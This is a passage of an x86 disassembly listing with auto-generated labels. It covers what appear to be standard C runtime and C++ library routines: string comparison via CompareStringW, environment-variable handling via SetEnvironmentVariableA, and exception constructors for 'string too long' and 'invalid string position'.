sub_4349C0+171j ... xor edx, edx test edx, edx jnz short loc_434B1B cmp [ebp+arg_C], 0 jle short loc_434BD3 cmp [ebp+var_3C], 2 jnb short loc_434B70 mov eax, 3 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434B70: ; CODE XREF: sub_4349C0+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_434B81 ; --------------------------------------------------------------------------- loc_434B78: ; CODE XREF: sub_4349C0:loc_434BC7j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_434B81: ; CODE XREF: sub_4349C0+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_434BC9 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_434BC9 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_434BC7 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_434BC7 mov eax, 2 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434BC7: ; CODE XREF: sub_4349C0+1E8j ; sub_4349C0+1FBj jmp short loc_434B78 ; --------------------------------------------------------------------------- loc_434BC9: ; CODE XREF: sub_4349C0+1CAj ; sub_4349C0+1D6j mov eax, 3 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434BD3: ; CODE XREF: sub_4349C0+19Ej cmp [ebp+arg_14], 0 jle short loc_434C4C cmp [ebp+var_3C], 2 jnb short loc_434BE9 mov eax, 1 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434BE9: ; CODE XREF: sub_4349C0+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_434BFA ; --------------------------------------------------------------------------- loc_434BF1: ; CODE XREF: sub_4349C0:loc_434C40j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_434BFA: ; CODE XREF: sub_4349C0+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_434C42 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_434C42 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_434C40 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_434C40 mov eax, 2 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434C40: ; CODE XREF: sub_4349C0+261j ; sub_4349C0+274j jmp short loc_434BF1 ; --------------------------------------------------------------------------- loc_434C42: ; CODE XREF: sub_4349C0+243j ; sub_4349C0+24Fj mov eax, 1 jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434C4C: ; CODE XREF: sub_4349C0+10Aj ; sub_4349C0+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_434C74 xor eax, eax jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434C74: ; CODE XREF: sub_4349C0+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_434CB6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_434CB6: ; CODE XREF: sub_4349C0+2DDj cmp [ebp+var_24], 0 jnz short loc_434CC3 xor eax, eax jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434CC3: ; CODE XREF: sub_4349C0+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call dword_4F1420 ; MultiByteToWideChar test eax, eax jnz short loc_434CEA xor eax, eax jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434CEA: ; CODE XREF: sub_4349C0+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_434D12 xor eax, eax jmp loc_434DA4 ; --------------------------------------------------------------------------- loc_434D12: ; CODE XREF: sub_4349C0+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_434D54 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_434D54: ; CODE XREF: sub_4349C0+37Bj cmp [ebp+var_28], 0 jnz short loc_434D5E xor eax, eax jmp short loc_434DA4 ; --------------------------------------------------------------------------- loc_434D5E: ; CODE XREF: sub_4349C0+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax call dword_4F1420 ; MultiByteToWideChar test eax, eax jnz short loc_434D82 xor eax, eax jmp short loc_434DA4 ; --------------------------------------------------------------------------- loc_434D82: ; CODE XREF: sub_4349C0+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F12C4 ; CompareStringW jmp short loc_434DA4 ; --------------------------------------------------------------------------- loc_434DA2: ; CODE XREF: sub_4349C0+EBj xor eax, eax loc_434DA4: ; CODE XREF: sub_4349C0+81j ; sub_4349C0+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4349C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434DC0 proc near ; CODE XREF: sub_4349C0+94p ; sub_4349C0+ADp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_434DD2: ; CODE XREF: sub_434DC0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_434DF7 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_434DF7 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_434DD2 ; --------------------------------------------------------------------------- loc_434DF7: ; CODE XREF: sub_434DC0+20j ; sub_434DC0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_434E09 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_434E0C ; --------------------------------------------------------------------------- loc_434E09: ; CODE XREF: sub_434DC0+3Fj mov eax, [ebp+arg_4] loc_434E0C: ; CODE XREF: sub_434DC0+47j mov esp, ebp pop ebp retn sub_434DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434E10 proc near ; CODE XREF: sub_4345C0+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_434E3C push 3Dh mov eax, [ebp+arg_0] push eax call sub_435260 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_434E3C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_434E44 loc_434E3C: ; CODE XREF: sub_434E10+Bj ; sub_434E10+22j or eax, 0FFFFFFFFh jmp loc_4350EB ; --------------------------------------------------------------------------- loc_434E44: ; CODE XREF: sub_434E10+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, dword_4EF898 cmp ecx, dword_4EF89C jnz short loc_434E75 mov edx, dword_4EF898 push edx call sub_435170 add esp, 4 mov dword_4EF898, eax loc_434E75: ; CODE XREF: sub_434E10+4Fj cmp dword_4EF898, 0 jnz loc_434F35 cmp [ebp+arg_4], 0 jz short loc_434EA7 cmp dword_4EF8A0, 0 jz short loc_434EA7 call sub_4345C0 test eax, eax jz short loc_434EA2 or eax, 0FFFFFFFFh jmp loc_4350EB ; --------------------------------------------------------------------------- loc_434EA2: ; CODE XREF: sub_434E10+88j jmp loc_434F35 ; --------------------------------------------------------------------------- loc_434EA7: ; CODE XREF: sub_434E10+76j ; sub_434E10+7Fj cmp [ebp+var_14], 0 jz short loc_434EB4 xor eax, eax jmp loc_4350EB ; --------------------------------------------------------------------------- loc_434EB4: ; CODE XREF: sub_434E10+9Bj cmp dword_4EF898, 0 jnz short loc_434EF4 push 87h push offset dword_438F98 push 2 push 4 call sub_418EF0 add esp, 10h mov dword_4EF898, eax cmp dword_4EF898, 0 jnz short loc_434EE9 or eax, 0FFFFFFFFh jmp loc_4350EB ; --------------------------------------------------------------------------- loc_434EE9: ; CODE XREF: sub_434E10+CFj mov eax, dword_4EF898 mov dword ptr [eax], 0 loc_434EF4: ; CODE XREF: sub_434E10+ABj cmp dword_4EF8A0, 0 jnz short loc_434F35 push 8Eh push offset dword_438F98 push 2 push 4 call sub_418EF0 add esp, 10h mov dword_4EF8A0, eax cmp dword_4EF8A0, 0 jnz short loc_434F29 or eax, 0FFFFFFFFh jmp loc_4350EB ; --------------------------------------------------------------------------- loc_434F29: ; CODE XREF: sub_434E10+10Fj mov ecx, dword_4EF8A0 mov dword ptr [ecx], 0 loc_434F35: ; CODE XREF: sub_434E10+6Cj ; sub_434E10:loc_434EA2j ... mov edx, dword_4EF898 mov [ebp+var_C], edx mov eax, [ebp+var_18] sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_4350F0 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_434FF1 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_434FF1 cmp [ebp+var_14], 0 jz short loc_434FE3 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_419980 add esp, 8 jmp short loc_434F8F ; --------------------------------------------------------------------------- loc_434F86: ; CODE XREF: sub_434E10+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_434F8F: ; CODE XREF: sub_434E10+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_434FB0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_434F86 ; --------------------------------------------------------------------------- loc_434FB0: ; CODE XREF: sub_434E10+189j push 0B9h push offset dword_438F98 push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_419380 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_434FE1 mov edx, [ebp+var_C] mov dword_4EF898, edx loc_434FE1: ; CODE XREF: sub_434E10+1C6j jmp short loc_434FEF ; --------------------------------------------------------------------------- loc_434FE3: ; CODE XREF: sub_434E10+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_434FEF: ; CODE XREF: sub_434E10:loc_434FE1j jmp short loc_435064 ; --------------------------------------------------------------------------- loc_434FF1: ; CODE XREF: sub_434E10+148j ; sub_434E10+154j cmp [ebp+var_14], 0 jnz short loc_43505D cmp [ebp+var_8], 0 jge short loc_435005 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_435005: ; CODE XREF: sub_434E10+1EBj push 0CEh push offset dword_438F98 push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_419380 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_435039 or eax, 0FFFFFFFFh jmp loc_4350EB ; --------------------------------------------------------------------------- loc_435039: ; CODE XREF: sub_434E10+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov dword_4EF898, eax jmp short loc_435064 ; --------------------------------------------------------------------------- loc_43505D: ; CODE XREF: sub_434E10+1E5j xor eax, eax jmp loc_4350EB ; --------------------------------------------------------------------------- loc_435064: ; CODE XREF: sub_434E10:loc_434FEFj ; sub_434E10+24Bj cmp [ebp+arg_4], 0 jz short loc_4350E9 push 0E5h push offset dword_438F98 push 2 mov ecx, [ebp+arg_0] push ecx call sub_418D00 add esp, 4 add eax, 2 push eax call sub_418EF0 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4350E9 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_41C300 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax call dword_4F12C0 ; SetEnvironmentVariableA push 2 mov ecx, [ebp+var_10] push ecx call sub_419980 add esp, 8 loc_4350E9: ; CODE XREF: sub_434E10+258j ; sub_434E10+285j xor eax, eax loc_4350EB: ; CODE XREF: sub_434E10+2Fj ; sub_434E10+8Dj ... pop esi mov esp, ebp pop ebp retn sub_434E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4350F0 proc near ; CODE XREF: sub_434E10+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, dword_4EF898 mov [ebp+var_4], eax jmp short loc_435107 ; --------------------------------------------------------------------------- loc_4350FE: ; CODE XREF: sub_4350F0:loc_435158j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_435107: ; CODE XREF: sub_4350F0+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_43515A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_434570 add esp, 0Ch test eax, eax jnz short loc_435158 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_43514A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_435158 loc_43514A: ; CODE XREF: sub_4350F0+48j mov eax, [ebp+var_4] sub eax, dword_4EF898 sar eax, 2 jmp short loc_435168 ; --------------------------------------------------------------------------- loc_435158: ; CODE XREF: sub_4350F0+37j ; sub_4350F0+58j jmp short loc_4350FE ; --------------------------------------------------------------------------- loc_43515A: ; CODE XREF: sub_4350F0+1Dj mov eax, [ebp+var_4] sub eax, dword_4EF898 sar eax, 2 neg eax loc_435168: ; CODE XREF: sub_4350F0+66j mov esp, ebp pop ebp retn sub_4350F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435170 proc near ; CODE XREF: sub_434E10+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_435190 xor eax, eax jmp loc_43525A ; --------------------------------------------------------------------------- loc_435190: ; CODE XREF: sub_435170+17j ; sub_435170+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_4351AD mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_435190 ; --------------------------------------------------------------------------- loc_4351AD: ; CODE XREF: sub_435170+30j push 146h push offset dword_438F98 push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_418EF0 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_4351E5 push 9 call sub_41EB30 add esp, 4 loc_4351E5: ; CODE XREF: sub_435170+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_4351EB: ; CODE XREF: sub_435170+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_43524E push 14Fh push offset dword_438F98 push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_418D00 add esp, 4 add eax, 1 push eax call sub_418EF0 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_43523A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_41C300 add esp, 8 loc_43523A: ; CODE XREF: sub_435170+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] loc_435246: ; DATA XREF: .nsp0:00452064o add edx, 4 mov [ebp+var_8], edx jmp short loc_4351EB ; --------------------------------------------------------------------------- loc_43524E: ; CODE XREF: sub_435170+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_43525A: ; CODE XREF: sub_435170+1Bj mov esp, ebp pop ebp retn sub_435170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435260 proc near ; CODE XREF: sub_434E10+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp dword_4EFD5C, 0 jnz short loc_435282 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41C400 add esp, 8 jmp loc_435349 ; --------------------------------------------------------------------------- loc_435282: ; CODE XREF: sub_435260+Bj push 19h call sub_41FB40 add esp, 4 jmp short loc_435297 ; --------------------------------------------------------------------------- loc_43528E: ; CODE XREF: sub_435260:loc_435326j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_435297: ; CODE XREF: sub_435260+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43532B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, byte_4EFE61[eax] and ecx, 4 test ecx, ecx jz short loc_435316 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_4352E8 push 19h call sub_41FBE0 add esp, 4 xor eax, eax jmp short loc_435349 ; --------------------------------------------------------------------------- loc_4352E8: ; CODE XREF: sub_435260+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_435314 push 19h call sub_41FBE0 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_435349 ; --------------------------------------------------------------------------- loc_435314: ; CODE XREF: sub_435260+A0j jmp short loc_435326 ; --------------------------------------------------------------------------- loc_435316: ; CODE XREF: sub_435260+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_435326 jmp short loc_43532B ; --------------------------------------------------------------------------- loc_435326: ; CODE XREF: sub_435260:loc_435314j ; sub_435260+C2j jmp loc_43528E ; --------------------------------------------------------------------------- loc_43532B: ; CODE XREF: sub_435260+4Dj ; sub_435260+C4j push 19h call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_435347 mov eax, [ebp+arg_0] loc_435345: ; DATA XREF: .nsp0:004520E8o jmp short loc_435349 ; --------------------------------------------------------------------------- loc_435347: ; CODE XREF: sub_435260+E0j xor eax, eax loc_435349: ; CODE XREF: sub_435260+1Dj ; sub_435260+86j ... mov esp, ebp pop ebp retn sub_435260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435350 proc near ; CODE XREF: sub_40CE0D+15p ; sub_40CEA1+15p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_435350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40CDBA mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_435500 push offset dword_4392F0 lea edx, [ebp+var_28] push edx call sub_435F60 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_435350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4353B0 proc near ; CODE XREF: sub_435440+10p ; sub_435620+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4353B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call sub_435CE0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40CD90 mov edx, [ebp+var_10] mov dword ptr [edx], offset off_438FB8 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_4353B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435420 proc near ; DATA XREF: .nsp0:00438FBCo ; .nsp0:00438FCCo ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] add ecx, 0Ch call sub_40CE7C mov esp, ebp pop ebp retn sub_435420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435440 proc near ; DATA XREF: .nsp0:00438FC0o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_4353B0 push offset dword_439360 lea ecx, [ebp+var_1C] push ecx call sub_435F60 mov esp, ebp pop ebp retn sub_435440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435470 proc near ; CODE XREF: sub_4354D0+Ap ; sub_4355A0+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_435470 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_438FB8 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40CDDD mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_435DA0 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_435470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4354D0 proc near ; DATA XREF: .nsp0:off_438FB8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_435470 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_4354F5 mov ecx, [ebp+var_4] push ecx call sub_41D860 add esp, 4 loc_4354F5: ; CODE XREF: sub_4354D0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4354D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435500 proc near ; CODE XREF: sub_435350+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_435530 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_438FC8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_435500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435530 proc near ; CODE XREF: sub_435500+Ep ; sub_4356B0+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_435530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_437ECC lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call sub_435C70 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40CD90 mov edx, [ebp+var_14] mov dword ptr [edx], offset off_438FB8 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_435530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4355A0 proc near ; CODE XREF: sub_4355F0+Ap ; DATA XREF: .nsp0:004392F4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_438FC8 mov ecx, [ebp+var_4] call sub_435470 mov esp, ebp pop ebp retn sub_4355A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4355C0 proc near ; DATA XREF: .nsp0:00438FD0o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_435620 push offset dword_4392F0 lea ecx, [ebp+var_1C] push ecx call sub_435F60 mov esp, ebp pop ebp retn sub_4355C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4355F0 proc near ; DATA XREF: .nsp0:off_438FC8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4355A0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_435615 mov ecx, [ebp+var_4] push ecx call sub_41D860 add esp, 4 loc_435615: ; CODE XREF: sub_4355F0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4355F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435620 proc near ; CODE XREF: sub_4355C0+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4353B0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_438FC8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_435620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435650 proc near ; CODE XREF: sub_40CF0B+17p ; sub_40D18A+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_435650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; 